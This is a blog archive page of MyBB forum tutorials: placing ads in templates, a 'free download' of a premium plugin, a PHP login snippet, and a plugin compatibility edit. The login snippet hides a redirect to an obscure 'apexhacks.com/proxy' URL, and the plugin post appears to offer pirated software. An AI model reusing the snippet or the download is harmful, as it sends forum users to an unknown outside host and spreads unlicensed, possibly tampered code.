Showing posts with label Mybb plugins. Show all posts
Showing posts with label Mybb plugins. Show all posts

Saturday, 14 December 2013

How to Add MyBB Adsense to Your Forum

How to Add MyBB Adsense to Your Forum, No Plugins

How to Add MyBB Adsense to Your Forum, No PluginsMyBB AdSense tutorial to add ads on your forum, no plugins needed.

MyBB AdSense is one of the best ways to earn money with your MyBB forum, especially on a forum with tons of pageviews. Not just Google AdSense, there’s also others such as adBrite, Chitika, Bidvertiser, etc. Adding the ad code for MyBB AdSense is actually very simple, no MyBB plugins needed for it. This tutorial will show you how to add MyBB AdSense code (or any ads) on your forum.
Step 1: Go to your AdSense account (or any ad provider you’re using) and grab the code. In this example I’m using Chitika, 728×90 Leaderboard format.
Step 2: Go into Admin CP > Templates & Style > Templates > (your default template). Here you’ll need to choose where you want your ads to display. For header ads, go into Header Templates > header.
Find:
      {$pm_notice}
      {$bannedwarning}
      {$bbclosedwarning}
      {$unreadreports}
      {$pending_joinrequests}
      <navigation>
      <br />
Below this, add the following code:

<div style="text-align: center;"></div>
 
Then insert your MyBB AdSense code just between this. It should look like this:

<div style="text-align: center;">YOUR MYBB ADSENSE OR ANY AD CODE GOES HERE</div>
 
Step 3: Save changes. Here’s a screenshot:
How to Add MyBB Adsense to Your Forum, No Plugins - HeaderThe MyBB AdSense ad code will be displayed on every page, centered in the header of the forum.
Want footer ads? Go into Footer Templates > footer.
Copy the whole MyBB AdSense code you added earlier, including the div tags and insert it on line 1 above everything else. Save changes, the result:
How to Add MyBB Adsense to Your Forum, No Plugins - FooterAnother method of adding MyBB AdSense code in your forum is displaying it for guests only, to do this go into Header Templates > header_welcomeblock_guest.

Find:
<span style="float: right;">{$lang->welcome_current_time}</span>
    <span id="quick_login">{$lang->welcome_guest} (<a href="{$mybb->settings
['bburl']}/member.php?action=login" onclick="MyBB.quickLogin(); return false;">
{$lang->welcome_login}</a> &mdash; <a href="{$mybb->settings['bburl']}
/member.php?action=register">{$lang->welcome_register}</a>)</span>
 
Insert your MyBB AdSense code (including the div tags) just below this, 
your ads will now only be displayed for guests, but when they login, 
they’ll disappear for members
Read More




Monday, 9 September 2013

Sunday, 8 September 2013

Free Download Mybb Premium Plugin Tabbed Menu 2.0.2

MyBB Central Premium Plugin Tabbed Menu v2.02

Info:
Plugin Name: Tabbed Menu
Plugin Author: Jesse Labrocca
Plugin Website: http://www.MybbCentral.com
Plugin Version: 2.0.2
Plugin Mybb Compatibility: 1.6x
Plugin File Edits: None
Plugin File Uploads: 4
Plugin Description: Creates a tabbed menu on the index page to help organize forums.

Installation
1. Upload the files from the zip to your forum directory.
/inc/plugins/tab_menu.php
/inc/languages/english/admin/forum_tabmenu.lang.php
/admin/modules/forum/tabmenu.php (if you have renamed your admin directory make sure to upload this properly)
/jscripts/tabcontent.js


2. Login to your admincp and INSTALL & ACTIVATE the plugin (Tabbed Menu) in the plugin manager.

3. You will see a new option in the admin under "Forums & Posts" for "Tab Menu". Be aware you cannot use a category in more than one tab else this will not work. Also be sure to assign all categories to a tab.

The rest is self explanatory and instructions are on the page.

Screenshots are all available inside the extras folder.

TEMPLATE TROUBLESHOOTING
=================================
If after install you have issues with your index page template please check to make sure these changes were made:

"index"
-----------------
1. After {$header} add {$tabmenu}
2. After {$forums} add

<script type="text/javascript">
<!--//
var myflowers=new ddtabcontent("menutabs")
myflowers.setpersist(true)
myflowers.init()
-->
</script>

"forumbit_depth1_cat"
------------------------
1. Start the template with this line:
<div id="tabmenu_{$forum['fid']}">

2. Add to the very end </div>

Also check the index page source code. In the header you should see the tabbed.css listed:
<link type="text/css" rel="stylesheet" href="http://domain.com/cache/themes/theme2/tabbed.css" />
If it's not there see the next section on customizing.

For members the tabs work but for guests they do not.
================================================
If you have tabs with hidden fid's they cannot be the first sorted forum.

What does that mean you ask?

fid 1 (staff hidden)
fid 2 (member only)
fid 3
fid 4

You have 2 tabs...

Tab1 = fid 1, fid 3
Tab2 = fid 2, fid 4

Staff can see the tabs normally because they have access to all forums.

Member will have a problem because they can't see fid 1 and Tab1 has fid1 sorted first. To correct you alter the sort order of fid 1 to be last so that fid 3 is the first sorted.

CUSTOMIZING
===================================
This adds a CSS to your database called tabbed.css. It should be in your theme listing for css in admincp. You can alter that css for custom changes. Currently the css uses the images/thead_bg.gif as the background image. Alter to suit your needs. You can run multiple templates and have a different menu for each by altering the tabbed.css. If your theme does not have the tabbed.css installed please take the text out of the file inside the extras folder and paste it.
extras/tabbed.css is the file just in case you need it.

.shadetabs li a.selected is the selected tab...the one that's active.
.shadetabs li a are the other tabs.

Demo: http://www.htplanet.com

This plugin currently offers full language support

Download Click Here


Read More




[Mybb] PHP Login

<?php
chdir('fullstatic.com/forum'); // path to MyBB
define("IN_MYBB", 1);
require './global.php';
if($mybb->user['uid'])
{
echo "Hey, $mybbuser[username].<br>
Thanks for logging in.";
}
else
{

echo "<form action='fullstatic.com/forum/member.php' method='post'>

Username: <input type='text' name='username' size='25' maxlength='30' /><br />
Password: <input type='password' name='password' size='25' />
<input type='hidden' name='action' value='do_login'>
<input type='hidden' name='url' value='http://apexhacks.com/proxy1012038tyfheiu2fgbc82eyvihb3nbf8i3yugb4nfecr834g2h8feugf7r3tyfebnf783y4tg83 ​yfure//' />
<input type='submit' class='submit' name='submit' value='Login' /></form><br>";
}
?> 



What it does is makes a login PHP class that uses the global.php and member.php from your site
Read More




Friday, 6 September 2013

How to make old plugins work on new mybb (GUIDE)

I see some of you are having issues with using your old plugins after you updated mybb to 1.6 from any lower version.

All you do is open the plugin php file in notepad,
Look for this line:

"compatibility" => "1.4*",

And replace for this line:

"compatibility" => "*",

Now save the file and upload to the plugin folder, it should now work on 1.6, not all plugins work this way but over 90% do, so give it a trylugins work this way but over 90% do, so give it a try 
Read More




Return to top of page
Powered By Blogger | Copyright ©2013 Advance Tutorials And Tricks